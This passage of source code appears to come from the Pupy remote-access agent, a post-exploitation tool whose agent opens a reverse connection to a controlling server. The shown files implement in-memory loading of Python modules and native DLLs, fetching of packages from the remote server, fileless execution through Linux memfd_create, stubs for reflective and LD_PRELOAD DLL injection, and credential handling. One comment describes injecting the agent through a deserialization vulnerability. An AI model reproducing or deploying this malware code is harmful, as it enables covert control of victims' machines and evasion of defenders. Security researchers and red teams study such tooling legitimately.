sys.path_hooks[:] sys.path_importer_cache.clear() from _pupy import ( get_arch, is_shared ) from _pupy import load_dll as _load_dll from _pupy import import_module as _import_module if hasattr(_pupy, 'revision'): from _pupy import revision else: revision = None if hasattr(_pupy, 'reflective_inject_dll'): from _pupy import reflective_inject_dll else: reflective_inject_dll = _stub if hasattr(_pupy, 'ld_preload_inject_dll'): from _pupy import ld_preload_inject_dll else: ld_preload_inject_dll = _stub if hasattr(_pupy, 'mexec'): from _pupy import mexec else: mexec = _stub if hasattr(_pupy, 'set_exit_session_callback'): from _pupy import set_exit_session_callback else: set_exit_session_callback = _stub if hasattr(_pupy, 'find_function_address'): from _pupy import find_function_address else: find_function_address = _stub def is_native(): return True except ImportError: def is_shared(): return False def is_native(): return False _import_module = _stub _load_dll = _stub get_arch = _stub set_exit_session_callback = _stub find_function_address = _stub revision = None mexec = _stub EXTS_SOURCES = ('.py',) EXTS_COMPILED = ('.pye', '.pyo', '.pyc') ABI = str(sys.version_info[0]) EXTS_NATIVE = ('.pyd', '.so', '.dll', '.abi'+ABI+'.so', '.abi'+ABI+'.pyd') EXTS_ALL = EXTS_NATIVE + EXTS_COMPILED + EXTS_SOURCES ANY_INIT = tuple( '__init__' + ext for ext in EXTS_SOURCES + EXTS_COMPILED ) MODULE_CLASS = sys.__class__ __debug = False __debug_file = None __debug_pending = [] __trace = False __dprint_method = None pupy_modules = None dlls = {} pupy_hooks = None import_module = None LOGGER = None creds_cache = {} namespace = None obtain = None manager = None Task = None Manager = None _pywintypes = None aliases = { 'Cryptodome': 'Crypto', } direct_load = { # 'pywintypes': 'pywintypes27.dll', # 'pythoncom': 'pythoncom27.dll' } def update_module_dict(mod): pupy_modules.update(mod) def get_pending_log(): log = __debug_pending[:] del __debug_pending[:] return log def set_pupy_config(new_config): config.clear() config.update(new_config) def set_broadcast_event(callback): if not client: # Not ready? return client.set_broadcast_event(callback) def broadcast_event(eventid, *args, **kwargs): if not client: return client.broadcast_event(eventid, *args, **kwargs) def get_logger(name): global LOGGER if LOGGER is None: from .logger import create_root_logger LOGGER = create_root_logger() return LOGGER.getChild(name) def set_stdio(null=False): if os_: try: os_.fstat(sys.stdout.fileno()) os_.fstat(sys.stderr.fileno()) except Exception: null = True if null: sys.stdout = Blackhole() sys.stderr = Blackhole() def set_debug(is_enabled): global __debug if is_enabled: sys.tracebacklimit = 30 __debug = True setattr(sys, "__debug", True) else: sys.tracebacklimit = 20 __debug = False setattr(sys, "__debug", False) def get_debug(): return __debug, __debug_file def dprint(msg, *args, **kwargs): if not (__dprint_method or __debug or getattr(sys, "__debug", False)): return if args or kwargs: if '%%' in msg: msg = msg % tuple(args) else: msg = msg.format(*args, **kwargs) error = None try: if __dprint_method: __dprint_method(msg) return elif not isinstance(sys.stderr, Blackhole): sys.stderr.write(msg) sys.stderr.write('\n') sys.stderr.flush() return except Exception as e: error = e __debug_pending.append(msg) if error: __debug_pending.append(error) def remote_error(message, *args, **kwargs): try: import traceback exception_info = str(traceback.format_exc()) message += '\n' + exception_info except ImportError: pass if not pupy_hooks.remote_print_error: dprint(message, *args, **kwargs) return if args and '%%' in message: message = message % tuple(args) elif args or kwargs: message = message.format(*args, **kwargs) try: pupy_hooks.remote_print_error(message) except Exception as e: dprint('Error: {}, message={}', e, message) return def loadpy(src, dst, masked=False): src = bytes(src) content = src if masked: # Poors man "obfuscation", just to reduce (a bit) amount of our # plaintext keys in mem dump content = bytearray(len(src)) for i, x in enumerate(src): content[i] = chr( ord(x) ^ ((2 ** ((65535 - i) % 65535)) % 251) ) try: exec (marshal.loads(bytes(content)), dst) except Exception as e: message = str(e) try: import traceback exception_info = str(traceback.format_exc()) message += '\n' + exception_info + '\nAT:\n' message += ''.join(traceback.format_stack()) except ImportError: pass dprint("Failed call loadpy: " + message) raise def import_module(data, initname, fullname, path): if not is_supported(_import_module): return None spec = imputil.spec_from_loader(fullname, loader=None) return _import_module(data, initname, fullname, path, spec) def load_dll(name, buf=None): if not is_supported(_load_dll): return None if name in dlls: return dlls[name] cleanup_name = False if buf is None: if name in pupy_modules.modules: buf = pupy_modules.modules[name] cleanup_name = True else: return None dprint("calling load_dll(name={}, buflen={}, buf0={}, buf1={})", name, len(buf), buf[0], buf[1]) handle = _load_dll(name, buf) dprint("load_dll() handle={}",handle) if handle: dlls[name] = handle if cleanup_name: del pupy_modules.modules[name] return handle return None def _get_module_files(fullname, path=None): """ return the file to load """ maybe_path = fullname.replace('.', '/') if not path: path = maybe_path elif path.startswith('pupy://'): path = path[7:] if not maybe_path.startswith(path + '/'): path += '/' + maybe_path else: path = maybe_path else: if not maybe_path.startswith(path + '/'): path += '/' + maybe_path else: path = maybe_path while '//' in path: path = path.replace('//', '/') dprint("Search in modules: " + path) files = [ module for module in pupy_modules.modules if module.rsplit('.', 1)[0] == path or any([ ( path + '/__init__' + ext == module ) for ext in EXTS_ALL ]) ] dprint("Potential files found in memory: %s"%files) return files def get_module_files(fullname, paths=[None]): dprint( "get_module_files({}, {})".format( repr(fullname), repr(paths) ) ) for path in paths: files = _get_module_files(fullname, path) if files: return files return [] def make_module(fullname, path=None, is_pkg=False, mod=None): if mod is None: #mod = imp.new_module(fullname) spec = imputil.spec_from_loader(fullname, loader=None) mod = imputil.module_from_spec(spec) dprint("make_module: %s %s %s"%(fullname, path, mod)) mod.__name__ = str(fullname) mod.__file__ = str( 'pupy://{}'.format(path or fullname + '.py') ) if is_pkg: mod.__path__ = [ str(mod.__file__.rsplit('/', 1)[0]) ] mod.__package__ = str(fullname) else: mod.__package__ = str(fullname.rsplit('.', 1)[0]) original_module = sys.modules.get(fullname) if original_module: # Looks like a reload for (alias, module) in sys.modules.items(): if module is original_module: sys.modules[alias] = mod sys.modules[fullname] = mod return mod class Blackhole(object): def _do_nothing(self, *args, **kwargs): pass read = write = flush = close = _do_nothing class DummyPackageLoader(object): __slots__ = ('fullname') def __init__(self, fullname): self.fullname = fullname def load_module(self, fullname): return sys.modules[self.fullname] class PupyPackageLoader(object): __slots__ = ( 'fullname', 'contents', 'extension', 'is_pkg', 'path', 'archive' ) def __init__(self, fullname, contents, extension, is_pkg, path): self.fullname = fullname self.contents = contents self.extension = extension self.is_pkg = is_pkg self.path = path self.archive = '' def __repr__(self): return f"'pupy://{self.path}'" def _rename_aliased(self, fullname): for alias, aliased in aliases.items(): if not fullname.startswith(alias): continue parts = fullname.split('.') if parts[0] == alias: parts[0] = aliased new_fullname = '.'.join(parts) dprint('Rename: {} -> {}'.format( fullname, new_fullname)) return new_fullname return fullname def _make_module(self, fullname, mod=None): return make_module(fullname, self.path, self.is_pkg, mod) def load_module(self, fullname): _imp.acquire_lock() try: fullname = self._rename_aliased(fullname) if fullname in sys.modules: return sys.modules[fullname] dprint('loading module {} (ext: {})', fullname, self.extension) extension = '.' + self.extension mod = None if extension in EXTS_SOURCES: dprint('Load {} from source file ({})'.format( fullname, self.extension)) mod = self._make_module(fullname) code = compile(self.contents, mod.__file__, 'exec') exec (code, mod.__dict__) elif extension in EXTS_COMPILED: dprint('Load {} from marshalled file ({})'.format( fullname, self.extension)) try: mod = self._make_module(fullname) loadpy( self.contents[8:], mod.__dict__, self.extension == 'pye' ) except Exception as e: remote_error('Load {} failed: Exception: {}'.format( fullname, e)) raise elif extension in EXTS_NATIVE: if not is_supported(_import_module): raise ImportError( 'memimporter interface is not initialized yet') if sys.version_info[0]==3: initname = 'PyInit_' + fullname.rsplit('.', 1)[-1] else: initname = 'init' + fullname.rsplit('.', 1)[-1] dprint('Load {} from native file {}'.format( fullname, self.path)) mod = import_module(self.contents, initname, fullname, self.path) dprint('mod to load : {}'.format(mod)) self._make_module(fullname, mod) else: raise ImportError('Unsupported extension {}'.format( self.extension)) except Exception as e: dprint('Error loading package {} ({} pkg={}): {}',fullname, self.path, self.is_pkg, e) if fullname in sys.modules: dprint("Error ! %s : deleting from modules : %s"%(e,fullname)) del sys.modules[fullname] remote_error( 'Error loading package {} ({} pkg={})', fullname, self.path, self.is_pkg ) raise finally: self.contents = None _imp.release_lock() gc.collect() return sys.modules[fullname] class PupyPackageFinderImportError(ImportError): __slots__ = () import _frozen_importlib_external as _bootstrap_external class PupyPackageFinder(_bootstrap_external._LoaderBasics): __slots__ = ('path', 'locals', 'globals') search_lock = None search_set = set() def __init__(self, path): dprint("PupyPackageFinder for {}".format(path)) if type(path) == bytes: path = path.decode('utf8', 'replace') if path and not path.startswith('pupy://'): raise PupyPackageFinderImportError() self.path = path[7:].replace('\\', '/') self.locals = locals() self.globals = globals() @staticmethod def init_search_lock(): from threading import Lock PupyPackageFinder.search_lock = Lock() def _rename_aliased(self, fullname): for alias, aliased in aliases.items(): if not fullname.startswith(alias): continue if fullname.startswith(alias): parts = fullname.split('.') if parts[0] == alias: parts[0] = aliased fullname = '.'.join(parts) return fullname return fullname def _is_already_loaded(self, fullname): parts = fullname.split('.')[:-1] for i in xrange(len(parts)): part = '.'.join(parts[:i+1]) if part in pupy_modules.modules or part in sys.modules: return True return False def _remote_load_packages(self, fullname, second_pass): remote_load_package=pupy_hooks.remote_load_package dprint("remote_load_package : %s"% remote_load_package) if not remote_load_package or second_pass: return if self._is_already_loaded(fullname): return None from pupy.agent.utils import pupy_add_package, safe_obtain if PupyPackageFinder.search_lock is not None: with PupyPackageFinder.search_lock: if fullname in PupyPackageFinder.search_set: return None else: PupyPackageFinder.search_set.add(fullname) try: dprint('Remote load package {}'.format(fullname)) packages, dlls = remote_load_package(fullname) dprint('Remote load package {} - success'.format(fullname)) if not packages and not dlls: dprint('Remote load package {} - not found'.format(fullname)) else: if dlls: dlls = safe_obtain(dlls) for name, blob in dlls: load_dll(name, blob) if packages: pupy_add_package(packages, True, fullname) if fullname in sys.modules: return DummyPackageLoader(fullname) return self.find_module(fullname, second_pass=True) except Exception as e: dprint('Exception: {}'.format(e)) finally: if PupyPackageFinder.search_lock is not None: with PupyPackageFinder.search_lock: PupyPackageFinder.search_set.remove(fullname) def iter_modules(self, fullname, path=None): spath = self.path+'/' lpath = len(spath) for module in list(pupy_modules.modules): if not module.startswith(spath): continue sub_path = module[lpath:] first, rest = sub_path.split('/', 1) if first.endswith(EXTS_ALL): yield first.rsplit('.', 1)[0], False elif '.' not in first and rest in ANY_INIT: yield first, True def find_module(self, fullname, path=None, second_pass=False): if fullname.startswith('exposed_'): return None fullname = self._rename_aliased(fullname) if not second_pass: _imp.acquire_lock() if fullname in sys.modules: dprint('found module in sys.modules: %s'%fullname) return DummyPackageLoader(fullname) dprint('Find module: {}/{}'.format(fullname, second_pass)) selected = None try: files = None if fullname in direct_load: direct_load_name = direct_load[fullname] files = get_module_files(direct_load_name) else: files = get_module_files(fullname) if not is_supported(_import_module): dprint('[L] _import_module is not supported ... find_module: filter out native libs') files = [ f for f in files if not f.lower().endswith(EXTS_NATIVE) ] if not files: files = [] dprint( '{} not found in {}: not in {} files'.format( fullname, files, len(files) ) ) return self._remote_load_packages(fullname, second_pass) criterias = ( lambda f: any([ f.endswith('/__init__'+ext) for ext in ( EXTS_COMPILED + EXTS_SOURCES ) ]), lambda f: f.endswith(EXTS_NATIVE), lambda f: f.endswith(EXTS_COMPILED), lambda f: f.endswith(EXTS_SOURCES), ) selected = None for criteria in criterias: for candidate in files: if criteria(candidate): selected = candidate break if not selected: dprint('{} not selected from {}', fullname, files) return None del files[:] content = pupy_modules.modules[selected] dprint( '{} found in "{}" / size = {}', fullname, selected, len(content) ) extension = selected.rsplit(".", 1)[1].strip().lower() is_pkg = any([ selected.endswith('/__init__'+ext) for ext in ( EXTS_COMPILED + EXTS_SOURCES ) ]) dprint('--> Loading {} ({}) package={}'.format( fullname, selected, is_pkg)) return PupyPackageLoader( fullname, content, extension, is_pkg, selected ) except Exception as e: dprint('--> Loading {} failed: {}/{}'.format(fullname, e, type(e))) if 'traceback' in sys.modules: import traceback traceback.print_exc(e) raise finally: if selected and selected in pupy_modules.modules: dprint('[L] {} remove {} from bundle / count = {}'.format( fullname, selected, len(pupy_modules.modules))) del pupy_modules.modules[selected] if not second_pass: _imp.release_lock() pass gc.collect() def __repr__(self): return 'PupyPackageFinder({!r})'.format(self.path) def initialize_basic_windows_modules(): dprint('Initialize basic windows modules') try: if 'pywintypes27.dll' in pupy_modules.modules: dprint('Load pywintypes') load_dll('pywintypes27.dll', pupy_modules.modules['pywintypes27.dll']) del pupy_modules.modules['pywintypes27.dll'] dprint('Load pywin32 loader') import _win32sysloader # noqa except (NotImplementedError, WindowsError, ImportError) as e: dprint("Failed to load pywin32 loader: " + str(e)) # We will try to leave without them.. # This may happen on default python27 install pass from pupy.agent.winerror_hacks import apply_winerror_hacks # Enable unicode descriptions for windows errors apply_winerror_hacks() def load_pupyimporter(stdlib=None): try: gc.set_threshold(128) except NotImplementedError: pass if stdlib: pupy_modules.modules.update(stdlib) if is_native(): dprint('Install pupyimporter (standalone)') sys.path = ["pupy://"] sys.path_hooks = [PupyPackageFinder] dprint("meta_path: %s"%sys.meta_path) dprint("path_hooks: %s"%sys.path_hooks) dprint("path: %s"%sys.path) else: dprint('Install pupyimporter + local packages') #sys.meta_path=[] sys.path.insert(0, 'pupy://') sys.path_hooks.insert(0, PupyPackageFinder) try: import _frozen_importlib_external # fix some missing default python meta_path, for instance with pyoxidizer if _frozen_importlib_external.PathFinder not in sys.meta_path: sys.meta_path.append(_frozen_importlib_external.PathFinder) except: pass sys.path_importer_cache.clear() PupyPackageFinder.init_search_lock() if is_native(): # fixup some modules that were not imported correctly during bootstrap # TODO: investigate a cleaner way del sys.modules["collections"] del sys.modules["collections.abc"] import collections.abc import collections collections # use collections to ignore an IDE warning import pupy setattr(pupy, 'agent', sys.modules['pupy.agent']) if sys.platform == 'win32': initialize_basic_windows_modules() def init_pupy(argv, stdlib, debug=False): global LOGGER global __dprint_method global __debug_file set_stdio(null=not debug) set_debug(debug) dprint( 'init_pupy: argv={} sys.argv={}', repr(argv), repr(sys.argv) ) if sys.argv != argv: setattr(sys, 'real_argv', list(sys.argv)) sys.argv = argv if hasattr(sys.platform, 'addtarget'): sys.platform.addtarget(None) setup_hooks() setup_modules() load_pupyimporter(stdlib) LOGGER = get_logger('pupy') if debug: from .logger import enable_debug_logger __debug_file = enable_debug_logger(LOGGER) for pending in __debug_pending: if isinstance(pending, Exception): LOGGER.exception(pending) else: LOGGER.error(pending) del __debug_pending[:] __dprint_method = LOGGER.debug import platform platform._syscmd_uname = lambda *args, **kwargs: '' if is_supported(get_arch): platform.architecture = lambda *args, **kwargs: ( '64bit' if '64' in get_arch() else '32bit', '' ) def load_memimporter_fallback(): global _import_module global _load_dll if not is_supported(_import_module): try: from .memimporter import load_dll, import_module _import_module = import_module _load_dll = load_dll except ImportError: import traceback dprint('memimporter is not available') dprint(traceback.format_exc(), error=True) def setup_credentials(config): if 'credentials' not in config: return credentials = make_module('pupy_credentials') for cred, value in config.pop('credentials').items(): setattr(credentials, cred, value) def setup_manager(): global Task global Manager global manager from .pstore import PStore from .manager import Task as _Task from .manager import Manager as _Manager pstore_dir = config.get('pstore', '~') Manager = _Manager Task = _Task manager = Manager(PStore(pstore_dir)) import pupy.agent setattr(pupy.agent, "Manager", _Manager) setattr(pupy.agent, "Task", _Task) setattr(pupy.agent, "manager", manager) def setup_network(): from pupy.network.conf import load_modules load_modules() def setup_obtain(): global obtain from pupy.agent.utils import safe_obtain obtain = safe_obtain def setup_hooks(): global pupy_hooks dprint("setting up hooks") pupy_hooks = make_module('pupy_hooks') setattr(pupy_hooks, "remote_load_package", None) setattr(pupy_hooks, "remote_print_error", None) def setup_modules(): global pupy_modules dprint("setting up modules") pupy_modules = make_module('pupy_modules') setattr(pupy_modules, "modules", {}) def prepare(argv=sys.argv, debug=False, config={}, stdlib=None): set_pupy_config(config) if config.get('debug', False): debug = True init_pupy(argv, stdlib, debug) dprint("Apply dl_hacks..") if "rustc" not in sys.version: from .dl_hacks import apply_dl_hacks apply_dl_hacks() setup_obtain() dprint("Register pupyimporter..") from pupy.agent.utils import register_pupyimporter register_pupyimporter() dprint("Prepare rest..") from .handlers import set_sighandlers from .ssl_hacks import apply_ssl_hacks from .psutil_hacks import apply_psutil_hacks from pupy.network.conf import load_network_modules set_sighandlers() apply_ssl_hacks() apply_psutil_hacks() load_memimporter_fallback() setup_credentials(config) setup_manager() load_network_modules() dprint("Prepare complete") def main(argv=sys.argv, debug=False, config={}, stdlib=None): prepare(argv, debug, config, stdlib) from .service import run run(config) ================================================ FILE: pupy/agent/__main__.py ================================================ # -*- coding: utf-8 -*- from __future__ import print_function from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import argparse import sys import os from . import main setattr(sys, '__pupy_main__', True) root = os.path.dirname(os.path.dirname(__file__)) sys.path.extend(( root, os.path.join(root, 'library_patches_py3') )) sys.tracebacklimit = 50 import pupy.pupylib assert(pupy.pupylib) from pupy.network.conf import launchers parser = argparse.ArgumentParser('pupy') parser.add_argument( '--debug', action='store_true', default=False, help='Enable debug' ) parser.add_argument( 'launcher', choices=tuple(launchers), default='connect', help='Launcher' ) parser.add_argument( 'args', nargs=argparse.REMAINDER, help='Launcher args' ) args = parser.parse_args() main(config={ 'launcher': args.launcher, 'launcher_args': args.args, }, argv=[], debug=args.debug) if __debug__: import threading for thread in threading.enumerate(): print("> ALIVE:", thread, thread.daemon) else: import platform if not platform.system() == 'android': if not hasattr(platform, 'pupy_thread'): # to allow pupy to run in background when imported or injected # through a python application exec/deserialization vulnerability t = threading.Thread(target=main) t.daemon = True t.start() setattr(platform, 'pupy_thread', t) ================================================ FILE: pupy/agent/_linux_memfd.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ( 'memfd_create', 'memfd_is_supported' ) try: from _pupy import ( memfd_create, memfd_is_supported ) except ImportError: import os import sys import ctypes import platform import pupy.agent SELF = ctypes.CDLL(None) syscall = SELF.syscall def _get_nr_memfd_create_syscall(): __NR_memfd_create_syscall = { 'x86_64': 319, 'i686': 356, 'arm': 385, } machine = platform.machine() if machine.startswith('arm'): machine = 'arm' return __NR_memfd_create_syscall.get(machine, None) NR_memfd_create = _get_nr_memfd_create_syscall() def _memfd_create(name): return syscall(NR_memfd_create, name, 0x1) def memfd_is_supported(): if not sys.platform.startswith('linux'): pupy.agent.dprint('memfd: disabled for non-linux') return False if platform.system() == 'Java': pupy.agent.dprint('memfd: disabled for jython') return False kv_maj, kv_min = platform.release().split('.')[:2] kv_maj = int(kv_maj) kv_min = int(kv_min) if kv_maj < 3: pupy.agent.dprint('memfd: kernel too old (maj < 3)') return False elif kv_maj == 3 and kv_min < 13: pupy.agent.dprint('memfd: kernel too old (maj == 3, min < 13)') return False if NR_memfd_create is None: pupy.agent.dprint('memfd: Syscall NR is not defined') return False fd = _memfd_create('probe') if fd == -1: pupy.agent.dprint('memfd: probe failed') return False try: supported = os.path.isfile( os.path.sep + os.path.join( 'proc', 'self', 'fd', str(fd))) pupy.agent.dprint('memfd: supported={} (fd={})', supported, fd) return supported finally: os.close(fd) def memfd_create(name='heap'): fd = _memfd_create(name) if fd == -1: raise OSError('memfd_create failed') return os.fdopen(fd, 'wb'), os.path.sep + os.path.join( 'proc', str(os.getpid()), 'fd', str(fd) ) ================================================ FILE: pupy/agent/config.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import argparse import sys import pupy.agent from pupy.network import conf from pupy.network.lib.convcompat import shlex def update_config_from_argv(): if len(sys.argv) < 2: return parser = argparse.ArgumentParser( prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n") parser.add_argument( '--debug', action='store_true', help="increase verbosity") parser.add_argument( 'launcher', choices=[ x for x in conf.launchers], help="the launcher to use") parser.add_argument( 'launcher_args', nargs=argparse.REMAINDER, help="launcher arguments") args = parser.parse_args() if args.debug: agent.config['debug'] = bool(args.debug) agent.config.update({ 'launcher': args.launcher, 'launcher_args': shlex.split(' '.join(args.launcher_args)) }) ================================================ FILE: pupy/agent/dl_hacks.py ================================================ # -*- coding: utf-8 -*- __all__ = ('apply_dl_hacks',) import os import sys if not "rustc" in sys.version: import ctypes else: ctypes=None import pupy.agent as pupy try: import ctypes.util have_ctypes_util = True except ImportError: have_ctypes_util = False have_ctypes_dlopen = hasattr(ctypes, '_dlopen') NATIVE_LIB_PATTERNS = [ 'lib{}.so', '{}.so', 'lib{}.pyd', '{}.pyd', 'lib{}.dll', '{}.dll', 'lib{}310.dll' ] def _find_library(name): pupy.dprint('_find_library called: {} => {}', name) for pattern in NATIVE_LIB_PATTERNS: libname = pattern.format(name) try: return ctypes.CDLL(libname) except: pass pupy.dprint('library {} not found ...', name) def _pupy_make_library_path(name): if not name: return if 'pupy:' in name: name = name[name.find('pupy:')+5:] name = os.path.relpath(name) name = '/'.join([ x for x in name.split(os.path.sep) if x and x not in ('.', '..') ]) return name def _pupy_find_library(name): import pupy_modules pupyized = _pupy_make_library_path(name) if pupyized in pupy_modules.modules: pupy.dprint('FIND LIBRARY: {} => {}', name, pupyized) return pupyized else: return ctypes.util._system_find_library(name) def _pupy_dlopen(name, *args, **kwargs): pupy.dprint('ctypes dlopen: {}', name) if name and name.startswith("exposed_"): pupy.dprint('_pupy_dlopen: RPYC hotpatch : renaming %s to %s'%(name, name[8:])) name=name[8:] name = _pupy_make_library_path(name) pupy.dprint( 'ctypes dlopen / pupyized: {} (system {})', name, ctypes._system_dlopen) handle = pupy.load_dll(name) if handle: pupy.dprint( 'ctypes dlopen / pupyized : {} found in-memory handle', name) return handle else: pupy.dprint('load_dll by name ({}) failed', name) return ctypes._system_dlopen(name, *args, **kwargs) def apply_dl_hacks(): if have_ctypes_dlopen: setattr(ctypes, '_system_dlopen', ctypes._dlopen) if have_ctypes_util: ctypes.util._system_find_library = ctypes.util.find_library if hasattr(ctypes.util, '_findLib_gcc'): ctypes.util._findLib_gcc = lambda name: None else: ctypes_util = pupy.make_module('ctypes.util') setattr(ctypes_util, '_system_find_library', _find_library) ctypes._dlopen = _pupy_dlopen ctypes.util.find_library = _pupy_find_library libpython = None if sys.platform == 'win32': try: libpython = ctypes.PyDLL('python310.dll') except WindowsError: pupy.dprint('python310.dll not found') else: for libname in (None, 'python310.so'): try: candidate = ctypes.PyDLL(libname) except OSError: continue if hasattr(candidate, '_Py_PackageContext'): libpython = candidate break if libpython is not None: pupy.dprint('Set ctypes.pythonapi to {}', libpython) ctypes.pythonapi = libpython ================================================ FILE: pupy/agent/handlers.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ('set_sighandlers',) import os import signal import pupy.agent as pupy logger = pupy.get_logger('signals') def _defered_close_exit(connection): logger.warning('Defered close+exit') logger.info('Terminating client') pupy.client.terminate() logger.info('Closing connection') if pupy.client.connection: pupy.client.connection.close() logger.info('Done') def _handle_sigchld(*args, **kwargs): os.waitpid(-1, os.WNOHANG) def _handle_sighup(*args): logger.debug('SIGHUP') def _handle_sigterm(*args): logger.warning('SIGTERM') if pupy.manager: try: pupy.manager.event(pupy.Manager.TERMINATE) except Exception as e: logger.exception(e) try: # Should be the custom event, as generated on client pupy.broadcast_event(0x10000000 | 0xFFFF) logger.info('Event broadcasted') except Exception as e: logger.exception(e) if pupy.client.connection: pupy.client.connection.defer( logger.exception, _defered_close_exit, pupy.client.connection ) else: _defered_close_exit(None) logger.warning('SIGTERM HANDLED') def set_sighandlers(): if hasattr(signal, 'SIGHUP'): try: signal.signal(signal.SIGHUP, _handle_sighup) except Exception as e: logger.exception(e) if hasattr(signal, 'SIGTERM'): try: signal.signal(signal.SIGTERM, _handle_sigterm) except Exception as e: logger.exception(e) if pupy.is_supported(pupy.set_exit_session_callback): try: pupy.set_exit_session_callback(_handle_sigterm) except Exception as e: logger.exception(e) ================================================ FILE: pupy/agent/logger.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function # This part executed from bootstrapped weak environment # Can't use unicode here, because encodings are not loaded yet # from __future__ import unicode_literals __all__ = ('create_root_logger', 'enable_debug_logger') from os import path, getpid from time import time import logging import tempfile def create_root_logger(loglevel=logging.WARNING): logging.basicConfig() root_logger = logging.getLogger() root_logger.setLevel(loglevel) return root_logger.getChild('pupy') def enable_debug_logger(root_logger): root_logger.handlers = [] log_file_path = path.join( tempfile.mkdtemp(prefix='pupy-'), 'pupy-client-{}-{}-debug.log'.format( int(time()), getpid())) log_to_file = logging.FileHandler(log_file_path) log_to_file.setLevel(logging.DEBUG) log_to_file.setFormatter( logging.Formatter( '%(asctime)-15s|%(levelname)-5s|%(relativeCreated)6d|%(threadName)s|%(name)s| %(message)s')) log_to_con = logging.StreamHandler() log_to_con.setLevel(logging.DEBUG) log_to_con.setFormatter(logging.Formatter('%(asctime)-15s| %(message)s')) root_logger.addHandler(log_to_file) # root_logger.addHandler(log_to_con) root_logger.setLevel(logging.DEBUG) root_logger.info('LogFile: %s', log_file_path) return log_file_path ================================================ FILE: pupy/agent/manager.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ('Task', 'Manager') from threading import Thread, Event import pupy.agent import sys if sys.version_info.major > 2: basestring = str class Task(Thread): __slots__ = ( '_pstore', '_stopped', '_manager', '_dirty', '_event_id' ) stopped = None results_type = list event_id = None def __init__(self, manager, *args, **kwargs): Thread.__init__(self) self._event_id = kwargs.pop('event_id', self.event_id) self.daemon = True self._pstore = manager.pstore self._stopped = Event() if not self._pstore[self]: self._pstore[self] = self.results_type() self._manager = manager self._dirty = False pupy.agent.dprint('Create task {}', self.__class__.__name__) @property def name(self): return type(self).__name__ @property def results(self): results = self._pstore[self] self._pstore[self] = self.results_type() self._dirty = False if isinstance(results, list): results = tuple(results) return results @property def dirty(self): return self._dirty def append(self, result): if issubclass(self.results_type, basestring): self._pstore[self] += result elif self.results_type == list: self._pstore[self].append(result) elif self.results_type == set: self._pstore[self].add(result) elif self.results_type == dict: self._pstore[self][result[0]] = result[1] else: raise TypeError( 'Unknown results type: {}'.format(self.results_type) ) fire_event = False if not self._dirty: fire_event = True self._dirty = True try: if fire_event and self._event_id is not None: self.broadcast_event(self._event_id) except: pupy.agent.remote_error('Task (append) error: {}', self.name) def broadcast_event(self, eventid, *args, **kwargs): pupy.agent.broadcast_event(eventid, *args, **kwargs) def stop(self): pupy.agent.dprint('Stopping task {}', self.__class__.__name__) if self._stopped and self.active: self._stopped.set() def run(self): pupy.agent.dprint('Task {} started', self.__class__.__name__) try: self.task() except: pupy.agent.remote_error('Task (run) error: {}', self.name) finally: pupy.agent.dprint('Task {} completed', self.__class__.__name__) if self._stopped: self._stopped.set() @property def active(self): if self._stopped is None: return False try: return not self._stopped.is_set() except: pupy.agent.remote_error('Task (active) error: {}', self.name) return False def event(self, event): pass class Manager(object): TERMINATE = 0 PAUSE = 1 SESSION = 2 __slots__ = ('tasks', 'pstore') def __init__(self, pstore): self.tasks = {} self.pstore = pstore def get(self, klass): name = klass.__name__ return self.tasks.get(name) def create(self, klass, *args, **kwargs): name = klass.__name__ if name not in self.tasks: try: task = klass(self, *args, **kwargs) task.start() self.tasks[name] = task return task except: pupy.agent.remote_error('Manager (create): {}', name) def stop(self, klass, force=False): name = klass.__name__ if name in self.tasks: try: self.tasks[name].stop() del self.tasks[name] except: pupy.agent.remote_error('Manager (stop): {}', name) if force: del self.tasks[name] def active(self, klass): name = klass.__name__ if name in self.tasks: if not self.tasks[name].stopped: # Failed somewhere in the middle del self.tasks[name] return False return self.tasks[name].stopped.is_set() else: return False @property def dirty(self): return any(x.dirty for x in self.tasks.values()) @property def status(self): return { name:{ 'active': task.active, 'results': task.dirty, } for name,task in self.tasks.items() } def event(self, event): for task in self.tasks.values(): try: task.event(event) except: pupy.agent.remote_error('Manager (event): {} evt={}', task.name, event) if event == self.TERMINATE: for task in self.tasks.values(): try: task.stop() except: pupy.agent.remote_error( 'Manager (terminate): {} evt={}', task.name, event) self.pstore.store() ================================================ FILE: pupy/agent/memimporter/__init__.py ================================================ # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function __all__ = ('import_module', 'load_dll') import sys if "rustc" in sys.version: from .posix import load_content elif sys.platform.startswith('linux'): from .linux import load_content elif sys.platform == 'win32': from .win32 import load_content else: from .posix import load_content from pupy.agent import get_logger logger = get_logger('pymemimporter') def import_module(data, initname, fullname, path, spec): import logging logger.setLevel(logging.DEBUG) logger.debug('Import module %s', fullname) try: return load_content(data, path, False, initname) except Exception as e: logger.exception(e) raise def load_dll(name, data): logger.debug('Load dll %s', name) try: return load_content(data, name, True) except Exception as e: logger.exception(e) raise ================================================ FILE: pupy/agent/memimporter/linux.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals __all__ = ('load_content',) import os import ctypes from io import open from pupy.agent._linux_memfd import ( memfd_is_supported, memfd_create ) from .utils import ( load_library_common, find_writable_folder ) from .posix import _does_dest_allows_executable_mappings TMP_FOLDERS = ['/dev/shm', '/tmp', '/var/tmp'] RTLD_DI_LINKMAP = 2 SELF = ctypes.CDLL(None) try: dlinfo = SELF.dlinfo dlinfo.argtypes = ( ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p ) except AttributeError: dlinfo = None strdup = SELF.strdup strdup.argtype = [ctypes.c_char_p] strdup.restype = ctypes.c_char_p try: for mount in open('/proc/self/mounts'): _, dest, fstype, opts, _, _ = mount.split() opts = 